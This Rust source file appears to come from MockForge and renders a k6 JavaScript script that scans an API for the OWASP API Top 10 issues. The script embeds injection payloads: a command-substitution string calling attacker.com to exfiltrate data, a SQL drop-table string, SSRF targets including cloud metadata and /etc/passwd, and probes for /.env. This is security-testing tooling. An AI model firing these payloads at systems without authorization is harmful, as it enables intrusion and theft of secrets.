1use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use super::payloads::{InjectionPoint, OwaspPayload, OwaspPayloadGenerator};
9use crate::error::{BenchError, Result};
10use crate::security_payloads::escape_js_string;
11use crate::spec_parser::SpecParser;
12use handlebars::Handlebars;
13use serde_json::{json, Value};
14
15pub struct OwaspApiGenerator {
17 config: OwaspApiConfig,
19 target_url: String,
21 operations: Vec<OperationInfo>,
23}
24
25#[derive(Debug, Clone)]
27pub struct OperationInfo {
28 pub method: String,
30 pub path: String,
32 pub operation_id: Option<String>,
34 pub path_params: Vec<PathParam>,
36 pub query_params: Vec<QueryParam>,
38 pub has_body: bool,
40 pub content_type: Option<String>,
42 pub requires_auth: bool,
44 pub tags: Vec<String>,
46}
47
48#[derive(Debug, Clone)]
50pub struct PathParam {
51 pub name: String,
52 pub param_type: String,
53 pub example: Option<String>,
54}
55
56#[derive(Debug, Clone)]
58pub struct QueryParam {
59 pub name: String,
60 pub param_type: String,
61 pub required: bool,
62}
63
64impl OwaspApiGenerator {
65 pub fn new(config: OwaspApiConfig, target_url: String, parser: &SpecParser) -> Self {
67 let operations = Self::extract_operations(parser);
68 Self {
69 config,
70 target_url,
71 operations,
72 }
73 }
74
75 fn extract_operations(parser: &SpecParser) -> Vec<OperationInfo> {
77 parser
78 .get_operations()
79 .into_iter()
80 .map(|op| {
81 let path_params: Vec<PathParam> = op
83 .path
84 .split('/')
85 .filter(|segment| segment.starts_with('{') && segment.ends_with('}'))
86 .map(|segment| {
87 let name = segment.trim_start_matches('{').trim_end_matches('}');
88 PathParam {
89 name: name.to_string(),
90 param_type: "string".to_string(),
91 example: None,
92 }
93 })
94 .collect();
95
96 OperationInfo {
97 method: op.method.to_uppercase(),
98 path: op.path.clone(),
99 operation_id: op.operation_id.clone(),
100 path_params,
101 query_params: Vec::new(),
102 has_body: matches!(op.method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH"),
103 content_type: Some("application/json".to_string()),
104 requires_auth: true, tags: op.operation.tags.clone(),
106 }
107 })
108 .collect()
109 }
110
111 pub fn generate(&self) -> Result<String> {
113 let mut handlebars = Handlebars::new();
114
115 handlebars.register_helper("contains", Box::new(contains_helper));
117 handlebars.register_helper("eq", Box::new(eq_helper));
118
119 let template = self.get_script_template();
120 let data = self.build_template_data()?;
121
122 handlebars
123 .render_template(&template, &data)
124 .map_err(|e| BenchError::ScriptGenerationFailed(e.to_string()))
125 }
126
127 fn build_template_data(&self) -> Result<Value> {
129 let payload_generator = OwaspPayloadGenerator::new(self.config.clone());
130 let mut test_cases: Vec<Value> = Vec::new();
131
132 for category in self.config.categories_to_test() {
134 let category_tests = self.generate_category_tests(category, &payload_generator)?;
135 test_cases.extend(category_tests);
136 }
137
138 let categories = self.config.categories_to_test();
140 let test_api1 = categories.iter().any(|c| matches!(c, OwaspCategory::Api1Bola));
141 let test_api2 = categories.iter().any(|c| matches!(c, OwaspCategory::Api2BrokenAuth));
142 let test_api3 =
143 categories.iter().any(|c| matches!(c, OwaspCategory::Api3BrokenObjectProperty));
144 let test_api4 =
145 categories.iter().any(|c| matches!(c, OwaspCategory::Api4ResourceConsumption));
146 let test_api5 =
147 categories.iter().any(|c| matches!(c, OwaspCategory::Api5BrokenFunctionAuth));
148 let test_api6 = categories.iter().any(|c| matches!(c, OwaspCategory::Api6SensitiveFlows));
149 let test_api7 = categories.iter().any(|c| matches!(c, OwaspCategory::Api7Ssrf));
150 let test_api8 = categories.iter().any(|c| matches!(c, OwaspCategory::Api8Misconfiguration));
151 let test_api9 =
152 categories.iter().any(|c| matches!(c, OwaspCategory::Api9ImproperInventory));
153 let test_api10 =
154 categories.iter().any(|c| matches!(c, OwaspCategory::Api10UnsafeConsumption));
155
156 let base_path = self.config.base_path.clone().unwrap_or_default();
158 let build_path = |path: &str| -> String {
159 let joined = if base_path.is_empty() {
160 path.to_string()
161 } else {
162 format!("{}{}", base_path.trim_end_matches('/'), path)
163 };
164 if joined.starts_with('/') {
167 joined
168 } else {
169 format!("/{joined}")
170 }
171 };
172
173 let ops_with_path_params: Vec<Value> = self
175 .operations
176 .iter()
177 .filter(|op| op.path.contains('{'))
178 .map(|op| {
179 json!({
180 "method": op.method.to_lowercase(),
181 "path": build_path(&op.path),
182 })
183 })
184 .collect();
185
186 let get_operations: Vec<Value> = self
188 .operations
189 .iter()
190 .filter(|op| op.method.to_lowercase() == "get")
191 .map(|op| {
192 json!({
193 "method": op.method.to_lowercase(),
194 "path": build_path(&op.path),
195 })
196 })
197 .collect();
198
199 let auth_header_name = escape_js_string(&self.config.auth_header);
201 let valid_auth_token = self.config.valid_auth_token.as_ref().map(|t| escape_js_string(t));
202
203 Ok(json!({
204 "base_url": self.target_url,
205 "auth_header_name": auth_header_name,
206 "valid_auth_token": valid_auth_token,
207 "concurrency": self.config.concurrency,
208 "iterations": self.config.iterations,
209 "timeout_ms": self.config.timeout_ms,
210 "report_path": self.config.report_path.to_string_lossy(),
211 "categories_tested": categories.iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
212 "test_cases": test_cases,
213 "operations": self.operations.iter().map(|op| json!({
214 "method": op.method.to_lowercase(),
215 "path": build_path(&op.path),
216 "operation_id": op.operation_id,
217 "has_body": op.has_body,
218 "requires_auth": op.requires_auth,
219 "has_path_params": op.path.contains('{'),
220 })).collect::<Vec<_>>(),
221 "ops_with_path_params": ops_with_path_params,
222 "get_operations": get_operations,
223 "verbose": self.config.verbose,
224 "insecure": self.config.insecure,
225 "custom_headers": self.config.custom_headers.iter()
227 .map(|(k, v)| json!({"name": escape_js_string(k), "value": escape_js_string(v)}))
228 .collect::<Vec<_>>(),
229 "has_custom_headers": !self.config.custom_headers.is_empty(),
230 "test_api1": test_api1,
232 "test_api2": test_api2,
233 "test_api3": test_api3,
234 "test_api4": test_api4,
235 "test_api5": test_api5,
236 "test_api6": test_api6,
237 "test_api7": test_api7,
238 "test_api8": test_api8,
239 "test_api9": test_api9,
240 "test_api10": test_api10,
241 }))
242 }
243
244 fn generate_category_tests(
246 &self,
247 category: OwaspCategory,
248 payload_generator: &OwaspPayloadGenerator,
249 ) -> Result<Vec<Value>> {
250 let payloads = payload_generator.generate_for_category(category);
251 let mut tests = Vec::new();
252
253 for payload in payloads {
254 let applicable_ops = self.get_applicable_operations(&payload);
256
257 for op in applicable_ops {
258 tests.push(json!({
259 "category": category.cli_name(),
260 "category_name": category.short_name(),
261 "description": payload.description,
262 "method": op.method.to_lowercase(),
263 "path": op.path,
264 "payload": payload.value,
265 "injection_point": format!("{:?}", payload.injection_point).to_lowercase(),
266 "has_body": op.has_body || payload.injection_point == InjectionPoint::Body,
267 "notes": payload.notes,
268 }));
269 }
270 }
271
272 Ok(tests)
273 }
274
275 fn get_applicable_operations(&self, payload: &OwaspPayload) -> Vec<&OperationInfo> {
277 match payload.injection_point {
278 InjectionPoint::PathParam => {
279 self.operations.iter().filter(|op| !op.path_params.is_empty()).collect()
281 }
282 InjectionPoint::Body => {
283 self.operations.iter().filter(|op| op.has_body).collect()
285 }
286 InjectionPoint::Header | InjectionPoint::Omit => {
287 self.operations.iter().filter(|op| op.requires_auth).collect()
289 }
290 InjectionPoint::QueryParam => {
291 self.operations.iter().collect()
293 }
294 InjectionPoint::Modify => {
295 self.operations.iter().collect()
297 }
298 }
299 }
300
301 fn get_script_template(&self) -> String {
303 r#"// OWASP API Security Top 10 Test Script
304// Generated by MockForge - https://mockforge.dev
305// Categories tested: {{#each categories_tested}}{{this}}{{#unless @last}}, {{/unless}}{{/each}}
306
307import http from 'k6/http';
308import { check, sleep, group } from 'k6';
309import { Trend, Counter, Rate } from 'k6/metrics';
310
311// Configuration
312const BASE_URL = '{{{base_url}}}';
313const AUTH_HEADER = '{{{auth_header_name}}}';
314{{#if valid_auth_token}}
315const VALID_TOKEN = '{{{valid_auth_token}}}';
316{{else}}
317const VALID_TOKEN = null;
318{{/if}}
319const TIMEOUT = '{{timeout_ms}}ms';
320const VERBOSE = {{verbose}};
321const INSECURE = {{insecure}};
322
323// Custom headers from CLI (e.g., Cookie, X-Custom-Header)
324const CUSTOM_HEADERS = {
325{{#each custom_headers}}
326 '{{{name}}}': '{{{value}}}',
327{{/each}}
328};
329
330// Custom metrics
331const findingsCounter = new Counter('owasp_findings');
332const testsRun = new Counter('owasp_tests_run');
333const vulnerableRate = new Rate('owasp_vulnerable_rate');
334const responseTime = new Trend('owasp_response_time');
335
336// Test options - use per-VU iterations scenario for controlled test runs
337export const options = {
338 scenarios: {
339 owasp_security_test: {
340 executor: 'per-vu-iterations',
341 vus: {{concurrency}},
342 iterations: {{iterations}}, // Iterations per VU
343 maxDuration: '30m',
344 },
345 },
346 thresholds: {
347 'owasp_findings': ['count<100'], // Alert if too many findings
348 },
349 insecureSkipTLSVerify: INSECURE,
350};
351
352// Findings storage
353const findings = [];
354
355// Helper: Log a finding
356function logFinding(category, endpoint, method, description, evidence) {
357 const finding = {
358 category,
359 endpoint,
360 method,
361 description,
362 evidence,
363 timestamp: new Date().toISOString(),
364 };
365 findings.push(finding);
366 findingsCounter.add(1);
367 vulnerableRate.add(1);
368
369 if (VERBOSE) {
370 console.log(`[FINDING] ${category} - ${method} ${endpoint}: ${description}`);
371 }
372}
373
374// Helper: Log test passed
375function logPass(category, endpoint, method) {
376 vulnerableRate.add(0);
377 if (VERBOSE) {
378 console.log(`[PASS] ${category} - ${method} ${endpoint}`);
379 }
380}
381
382// Helper: Generate a random UUID for path parameters
383// Uses crypto.randomUUID() which is globally available in k6 v1.0.0+
384function generateRandomId() {
385 return crypto.randomUUID();
386}
387
388// Helper: Replace path parameters with random UUIDs
389// Replaces all {param} patterns with new random UUIDs
390function replacePathParams(path) {
391 return path.replace(/{[^}]+}/g, () => generateRandomId());
392}
393
394// Helper: Make authenticated request
395function authRequest(method, url, body, additionalHeaders = {}) {
396 const headers = {
397 'Content-Type': 'application/json',
398 ...CUSTOM_HEADERS,
399 ...additionalHeaders,
400 };
401
402 if (VALID_TOKEN) {
403 headers[AUTH_HEADER] = VALID_TOKEN;
404 }
405
406 const params = {
407 headers,
408 timeout: TIMEOUT,
409 jar: new http.CookieJar(),
410 };
411
412 // k6 uses 'del' instead of 'delete'
413 const httpMethod = method === 'delete' ? 'del' : method;
414
415 if (httpMethod === 'get' || httpMethod === 'head') {
416 return http[httpMethod](url, params);
417 } else {
418 return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
419 }
420}
421
422// Helper: Make unauthenticated request
423function unauthRequest(method, url, body, additionalHeaders = {}) {
424 const headers = {
425 'Content-Type': 'application/json',
426 ...CUSTOM_HEADERS,
427 ...additionalHeaders,
428 };
429
430 const params = {
431 headers,
432 timeout: TIMEOUT,
433 jar: new http.CookieJar(),
434 };
435
436 // k6 uses 'del' instead of 'delete'
437 const httpMethod = method === 'delete' ? 'del' : method;
438
439 if (httpMethod === 'get' || httpMethod === 'head') {
440 return http[httpMethod](url, params);
441 } else {
442 return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
443 }
444}
445
446// API1: Broken Object Level Authorization (BOLA)
447function testBola() {
448 group('API1 - BOLA', function() {
449 console.log('[API1] Testing Broken Object Level Authorization...');
450
451 {{#each operations}}
452 {{#if has_path_params}}
453 // Test {{path}}
454 {
455 // Generate different random UUIDs for each test
456 const originalId = generateRandomId();
457 const targetId = generateRandomId();
458 const originalPath = '{{path}}'.replace(/{[^}]+}/g, originalId);
459 const targetPath = '{{path}}'.replace(/{[^}]+}/g, targetId);
460
461 if (VERBOSE) {
462 console.log(`[API1] Testing with IDs: ${originalId} -> ${targetId}`);
463 }
464
465 // Get baseline with first random ID
466 const baseline = authRequest('{{method}}', BASE_URL + originalPath, null);
467
468 // Try to access different random ID (simulating another user's resource)
469 const response = authRequest('{{method}}', BASE_URL + targetPath, null);
470 testsRun.add(1);
471 responseTime.add(response.timings.duration);
472
473 if (response.status >= 200 && response.status < 300) {
474 // Check if we got different data (potential BOLA vulnerability)
475 if (response.body !== baseline.body && response.body.length > 0) {
476 logFinding('api1', '{{path}}', '{{method}}',
477 'ID manipulation accepted - accessed different resource',
478 { status: response.status, originalId, targetId, bodyLength: response.body.length });
479 } else {
480 logPass('api1', '{{path}}', '{{method}}');
481 }
482 } else {
483 logPass('api1', '{{path}}', '{{method}}');
484 }
485 }
486 {{/if}}
487 {{/each}}
488 });
489}
490
491// API2: Broken Authentication
492function testBrokenAuth() {
493 group('API2 - Broken Authentication', function() {
494 console.log('[API2] Testing Broken Authentication...');
495
496 {{#each operations}}
497 {{#if requires_auth}}
498 // Test {{path}} without auth
499 {
500 const testPath = replacePathParams('{{path}}');
501 const response = unauthRequest('{{method}}', BASE_URL + testPath, null);
502 testsRun.add(1);
503 responseTime.add(response.timings.duration);
504
505 if (response.status >= 200 && response.status < 300) {
506 logFinding('api2', '{{path}}', '{{method}}',
507 'Endpoint accessible without authentication',
508 { status: response.status });
509 } else {
510 logPass('api2', '{{path}}', '{{method}}');
511 }
512 }
513
514 // Test {{path}} with empty token
515 {
516 const testPath = replacePathParams('{{path}}');
517 const httpMethod = '{{method}}' === 'delete' ? 'del' : '{{method}}';
518 const makeEmptyTokenRequest = (m, url, body, params) => {
519 if (m === 'get' || m === 'head') return http[m](url, params);
520 return http[m](url, body, params);
521 };
522 const response = makeEmptyTokenRequest(httpMethod, BASE_URL + testPath, null, {
523 headers: { [AUTH_HEADER]: 'Bearer ' },
524 timeout: TIMEOUT,
525 jar: new http.CookieJar(),
526 });
527 testsRun.add(1);
528
529 if (response.status >= 200 && response.status < 300) {
530 logFinding('api2', '{{path}}', '{{method}}',
531 'Endpoint accessible with empty Bearer token',
532 { status: response.status });
533 }
534 }
535 {{/if}}
536 {{/each}}
537 });
538}
539
540// API3: Broken Object Property Level Authorization (Mass Assignment)
541function testMassAssignment() {
542 group('API3 - Mass Assignment', function() {
543 console.log('[API3] Testing Mass Assignment...');
544
545 const massAssignmentPayloads = [
546 { role: 'admin' },
547 { is_admin: true },
548 { isAdmin: true },
549 { permissions: ['admin', 'write', 'delete'] },
550 { verified: true },
551 { email_verified: true },
552 { balance: 999999 },
553 ];
554
555 {{#each operations}}
556 {{#if has_body}}
557 // Test {{path}}
558 {
559 const testPath = replacePathParams('{{path}}');
560 massAssignmentPayloads.forEach(payload => {
561 const response = authRequest('{{method}}', BASE_URL + testPath, payload);
562 testsRun.add(1);
563 responseTime.add(response.timings.duration);
564
565 if (response.status >= 200 && response.status < 300) {
566 // Check if unauthorized field appears in response
567 const responseBody = response.body.toLowerCase();
568 const payloadKey = Object.keys(payload)[0].toLowerCase();
569
570 if (responseBody.includes(payloadKey)) {
571 logFinding('api3', '{{path}}', '{{method}}',
572 `Mass assignment accepted: ${payloadKey}`,
573 { status: response.status, payload });
574 } else {
575 logPass('api3', '{{path}}', '{{method}}');
576 }
577 }
578 });
579 }
580 {{/if}}
581 {{/each}}
582 });
583}
584
585// API4: Unrestricted Resource Consumption
586function testResourceConsumption() {
587 group('API4 - Resource Consumption', function() {
588 console.log('[API4] Testing Resource Consumption...');
589
590 {{#each operations}}
591 // Test {{path}} with excessive limit
592 {
593 const testPath = replacePathParams('{{path}}');
594 const url = BASE_URL + testPath + '?limit=100000&per_page=100000';
595 const response = authRequest('{{method}}', url, null);
596 testsRun.add(1);
597 responseTime.add(response.timings.duration);
598
599 // Check for rate limit headers
600 const hasRateLimit = response.headers['X-RateLimit-Limit'] ||
601 response.headers['x-ratelimit-limit'] ||
602 response.headers['RateLimit-Limit'];
603
604 if (response.status === 429) {
605 logPass('api4', '{{path}}', '{{method}}');
606 } else if (response.status >= 200 && response.status < 300 && !hasRateLimit) {
607 logFinding('api4', '{{path}}', '{{method}}',
608 'No rate limiting detected',
609 { status: response.status, hasRateLimitHeader: !!hasRateLimit });
610 } else {
611 logPass('api4', '{{path}}', '{{method}}');
612 }
613 }
614 {{/each}}
615 });
616}
617
618// API5: Broken Function Level Authorization
619function testFunctionAuth() {
620 group('API5 - Function Authorization', function() {
621 console.log('[API5] Testing Function Level Authorization...');
622
623 const adminPaths = [
624 '/admin',
625 '/admin/users',
626 '/admin/settings',
627 '/api/admin',
628 '/internal',
629 '/management',
630 ];
631
632 adminPaths.forEach(path => {
633 const response = authRequest('get', BASE_URL + path, null);
634 testsRun.add(1);
635 responseTime.add(response.timings.duration);
636
637 if (response.status >= 200 && response.status < 300) {
638 logFinding('api5', path, 'GET',
639 'Admin endpoint accessible',
640 { status: response.status });
641 } else if (response.status === 403 || response.status === 401) {
642 logPass('api5', path, 'GET');
643 }
644 });
645
646 // Also test changing methods on read-only endpoints
647 {{#each get_operations}}
648 {
649 const testPath = replacePathParams('{{path}}');
650 const response = authRequest('delete', BASE_URL + testPath, null);
651 testsRun.add(1);
652
653 if (response.status >= 200 && response.status < 300) {
654 logFinding('api5', '{{path}}', 'DELETE',
655 'DELETE method allowed on read-only endpoint',
656 { status: response.status });
657 }
658 }
659 {{/each}}
660 });
661}
662
663// API7: Server Side Request Forgery (SSRF)
664function testSsrf() {
665 group('API7 - SSRF', function() {
666 console.log('[API7] Testing Server Side Request Forgery...');
667
668 const ssrfPayloads = [
669 'http://localhost/',
670 'http://127.0.0.1/',
671 'http://169.254.169.254/latest/meta-data/',
672 'http://[::1]/',
673 'file:///etc/passwd',
674 ];
675
676 {{#each operations}}
677 {{#if has_body}}
678 // Test {{path}} with SSRF payloads
679 {
680 const testPath = replacePathParams('{{path}}');
681 ssrfPayloads.forEach(payload => {
682 const body = {
683 url: payload,
684 webhook_url: payload,
685 callback: payload,
686 image_url: payload,
687 };
688
689 const response = authRequest('{{method}}', BASE_URL + testPath, body);
690 testsRun.add(1);
691 responseTime.add(response.timings.duration);
692
693 if (response.status >= 200 && response.status < 300) {
694 // Check for indicators of internal access
695 const bodyLower = response.body.toLowerCase();
696 const internalIndicators = ['localhost', '127.0.0.1', 'instance-id', 'ami-id', 'root:'];
697
698 if (internalIndicators.some(ind => bodyLower.includes(ind))) {
699 logFinding('api7', '{{path}}', '{{method}}',
700 `SSRF vulnerability - internal data exposed with payload: ${payload}`,
701 { status: response.status, payload });
702 }
703 }
704 });
705 }
706 {{/if}}
707 {{/each}}
708 });
709}
710
711// API8: Security Misconfiguration
712function testMisconfiguration() {
713 group('API8 - Security Misconfiguration', function() {
714 console.log('[API8] Testing Security Misconfiguration...');
715
716 {{#each operations}}
717 // Test {{path}} for security headers
718 {
719 const testPath = replacePathParams('{{path}}');
720 const response = authRequest('{{method}}', BASE_URL + testPath, null);
721 testsRun.add(1);
722 responseTime.add(response.timings.duration);
723
724 const missingHeaders = [];
725
726 if (!response.headers['X-Content-Type-Options'] && !response.headers['x-content-type-options']) {
727 missingHeaders.push('X-Content-Type-Options');
728 }
729 if (!response.headers['X-Frame-Options'] && !response.headers['x-frame-options']) {
730 missingHeaders.push('X-Frame-Options');
731 }
732 if (!response.headers['Strict-Transport-Security'] && !response.headers['strict-transport-security']) {
733 missingHeaders.push('Strict-Transport-Security');
734 }
735
736 // Check for overly permissive CORS
737 const acao = response.headers['Access-Control-Allow-Origin'] || response.headers['access-control-allow-origin'];
738 if (acao === '*') {
739 logFinding('api8', '{{path}}', '{{method}}',
740 'CORS allows all origins (Access-Control-Allow-Origin: *)',
741 { status: response.status });
742 }
743
744 if (missingHeaders.length > 0) {
745 logFinding('api8', '{{path}}', '{{method}}',
746 `Missing security headers: ${missingHeaders.join(', ')}`,
747 { status: response.status, missingHeaders });
748 }
749 }
750 {{/each}}
751
752 // Test for verbose errors
753 {{#each operations}}
754 {{#if has_body}}
755 {
756 const testPath = replacePathParams('{{path}}');
757 const malformedBody = '{"invalid": "json';
758 const response = http.{{method}}(BASE_URL + testPath, malformedBody, {
759 headers: { 'Content-Type': 'application/json', ...CUSTOM_HEADERS },
760 timeout: TIMEOUT,
761 jar: new http.CookieJar(),
762 });
763 testsRun.add(1);
764
765 const errorIndicators = ['stack trace', 'exception', 'at line', 'syntax error'];
766 const bodyLower = response.body.toLowerCase();
767
768 if (errorIndicators.some(ind => bodyLower.includes(ind))) {
769 logFinding('api8', '{{path}}', '{{method}}',
770 'Verbose error messages exposed',
771 { status: response.status });
772 }
773 }
774 {{/if}}
775 {{/each}}
776 });
777}
778
779// API9: Improper Inventory Management
780function testInventory() {
781 group('API9 - Inventory Management', function() {
782 console.log('[API9] Testing Improper Inventory Management...');
783
784 const discoveryPaths = [
785 '/swagger',
786 '/swagger-ui',
787 '/swagger.json',
788 '/api-docs',
789 '/openapi',
790 '/openapi.json',
791 '/graphql',
792 '/graphiql',
793 '/debug',
794 '/actuator',
795 '/actuator/health',
796 '/actuator/env',
797 '/metrics',
798 '/.env',
799 '/config',
800 ];
801
802 const apiVersions = ['v1', 'v2', 'v3', 'api/v1', 'api/v2'];
803
804 discoveryPaths.forEach(path => {
805 const response = http.get(BASE_URL + path, { headers: CUSTOM_HEADERS, timeout: TIMEOUT, jar: new http.CookieJar() });
806 testsRun.add(1);
807 responseTime.add(response.timings.duration);
808
809 if (response.status !== 404) {
810 logFinding('api9', path, 'GET',
811 `Undocumented endpoint discovered (HTTP ${response.status})`,
812 { status: response.status });
813 }
814 });
815
816 // Check for old API versions
817 apiVersions.forEach(version => {
818 const response = http.get(BASE_URL + '/' + version + '/', { headers: CUSTOM_HEADERS, timeout: TIMEOUT, jar: new http.CookieJar() });
819 testsRun.add(1);
820
821 if (response.status !== 404) {
822 logFinding('api9', '/' + version + '/', 'GET',
823 `API version endpoint exists (HTTP ${response.status})`,
824 { status: response.status });
825 }
826 });
827 });
828}
829
830// API10: Unsafe Consumption of APIs
831function testUnsafeConsumption() {
832 group('API10 - Unsafe Consumption', function() {
833 console.log('[API10] Testing Unsafe Consumption...');
834
835 const injectionPayloads = [
836 { external_id: "'; DROP TABLE users;--" },
837 { integration_data: "$(curl attacker.com/exfil)" },
838 { template: "\{{7*7}}" },
839 { webhook_url: "http://127.0.0.1:8080/internal" },
840 ];
841
842 {{#each operations}}
843 {{#if has_body}}
844 // Test {{path}} with injection payloads
845 {
846 const testPath = replacePathParams('{{path}}');
847 injectionPayloads.forEach(payload => {
848 const response = authRequest('{{method}}', BASE_URL + testPath, payload);
849 testsRun.add(1);
850 responseTime.add(response.timings.duration);
851
852 // Check if payload was processed (e.g., SSTI returning 49)
853 if (response.body.includes('49')) {
854 logFinding('api10', '{{path}}', '{{method}}',
855 'Server-side template injection detected',
856 { status: response.status, payload });
857 }
858 });
859 }
860 {{/if}}
861 {{/each}}
862 });
863}
864
865// Main test function
866export default function() {
867 console.log('Starting OWASP API Top 10 Security Scan...');
868 console.log('Target: ' + BASE_URL);
869 console.log('');
870
871 {{#if test_api1}}
872 testBola();
873 {{/if}}
874 {{#if test_api2}}
875 testBrokenAuth();
876 {{/if}}
877 {{#if test_api3}}
878 testMassAssignment();
879 {{/if}}
880 {{#if test_api4}}
881 testResourceConsumption();
882 {{/if}}
883 {{#if test_api5}}
884 testFunctionAuth();
885 {{/if}}
886 {{#if test_api7}}
887 testSsrf();
888 {{/if}}
889 {{#if test_api8}}
890 testMisconfiguration();
891 {{/if}}
892 {{#if test_api9}}
893 testInventory();
894 {{/if}}
895 {{#if test_api10}}
896 testUnsafeConsumption();
897 {{/if}}
898
899 sleep(0.1);
900}
901
902// Teardown: Output results
903export function teardown(data) {
904 console.log('');
905 console.log('='.repeat(50));
906 console.log('OWASP API Top 10 Scan Complete');
907 console.log('='.repeat(50));
908 console.log('Total findings: ' + findings.length);
909
910 if (findings.length > 0) {
911 console.log('');
912 console.log('Findings by category:');
913 const byCategory = {};
914 findings.forEach(f => {
915 byCategory[f.category] = (byCategory[f.category] || 0) + 1;
916 });
917 Object.entries(byCategory).forEach(([cat, count]) => {
918 console.log(' ' + cat + ': ' + count);
919 });
920 }
921
922 // Write JSON report
923 console.log('');
924 console.log('Report written to: {{report_path}}');
925}
926"#.to_string()
927 }
928}
929
930fn contains_helper(
932 h: &handlebars::Helper,
933 _: &Handlebars,
934 _: &handlebars::Context,
935 _: &mut handlebars::RenderContext,
936 out: &mut dyn handlebars::Output,
937) -> handlebars::HelperResult {
938 let param1 = h.param(0).and_then(|v| v.value().as_str()).unwrap_or("");
939 let param2 = h.param(1).and_then(|v| v.value().as_str()).unwrap_or("");
940 let result = param1.contains(param2);
941 out.write(&result.to_string())?;
942 Ok(())
943}
944
945fn eq_helper(
947 h: &handlebars::Helper,
948 _: &Handlebars,
949 _: &handlebars::Context,
950 _: &mut handlebars::RenderContext,
951 out: &mut dyn handlebars::Output,
952) -> handlebars::HelperResult {
953 let param1 = h.param(0).map(|v| v.value());
954 let param2 = h.param(1).map(|v| v.value());
955 let result = param1 == param2;
956 out.write(&result.to_string())?;
957 Ok(())
958}
959
960#[cfg(test)]
961mod tests {
962 use super::*;
963
964 #[test]
965 fn test_generator_creation() {
966 let template = r#"
969 {{#each operations}}
970 // {{method}} {{path}}
971 {{/each}}
972 "#;
973
974 let handlebars = Handlebars::new();
975 let data = json!({
976 "operations": [
977 { "method": "GET", "path": "/users" },
978 { "method": "POST", "path": "/users" },
979 ]
980 });
981
982 let result = handlebars.render_template(template, &data);
983 assert!(result.is_ok());
984 }
985
986 #[test]
987 fn test_script_template_renders() {
988 let config = OwaspApiConfig::default()
989 .with_categories([OwaspCategory::Api1Bola])
990 .with_valid_auth_token("Bearer test123");
991
992 let template = r#"
993const AUTH = '{{auth_header_name}}';
994const TOKEN = '{{valid_auth_token}}';
995{{#each categories_tested}}
996// Testing: {{this}}
997{{/each}}
998 "#;
999
1000 let handlebars = Handlebars::new();
1001 let data = json!({
1002 "auth_header_name": config.auth_header,
1003 "valid_auth_token": config.valid_auth_token,
1004 "categories_tested": config.categories_to_test().iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
1005 });
1006
1007 let result = handlebars.render_template(template, &data).unwrap();
1008 assert!(result.contains("Authorization"));
1009 assert!(result.contains("Bearer test123"));
1010 assert!(result.contains("api1"));
1011 }
1012
1013 #[test]
1014 fn test_owasp_uses_per_request_cookie_jar() {
1015 let template = r#"
1018function authRequest(method, url) {
1019 const params = { jar: new http.CookieJar() };
1020}
1021"#;
1022 let handlebars = Handlebars::new();
1023 let data = json!({});
1024 let result = handlebars.render_template(template, &data).unwrap();
1025 assert!(
1026 result.contains("new http.CookieJar()"),
1027 "Should create fresh CookieJar per request"
1028 );
1029 assert!(!result.contains("jar: null"), "Should NOT use jar: null");
1030 assert!(
1031 !result.contains("EMPTY_JAR"),
1032 "Should NOT use shared EMPTY_JAR (accumulates Set-Cookie responses)"
1033 );
1034 }
1035}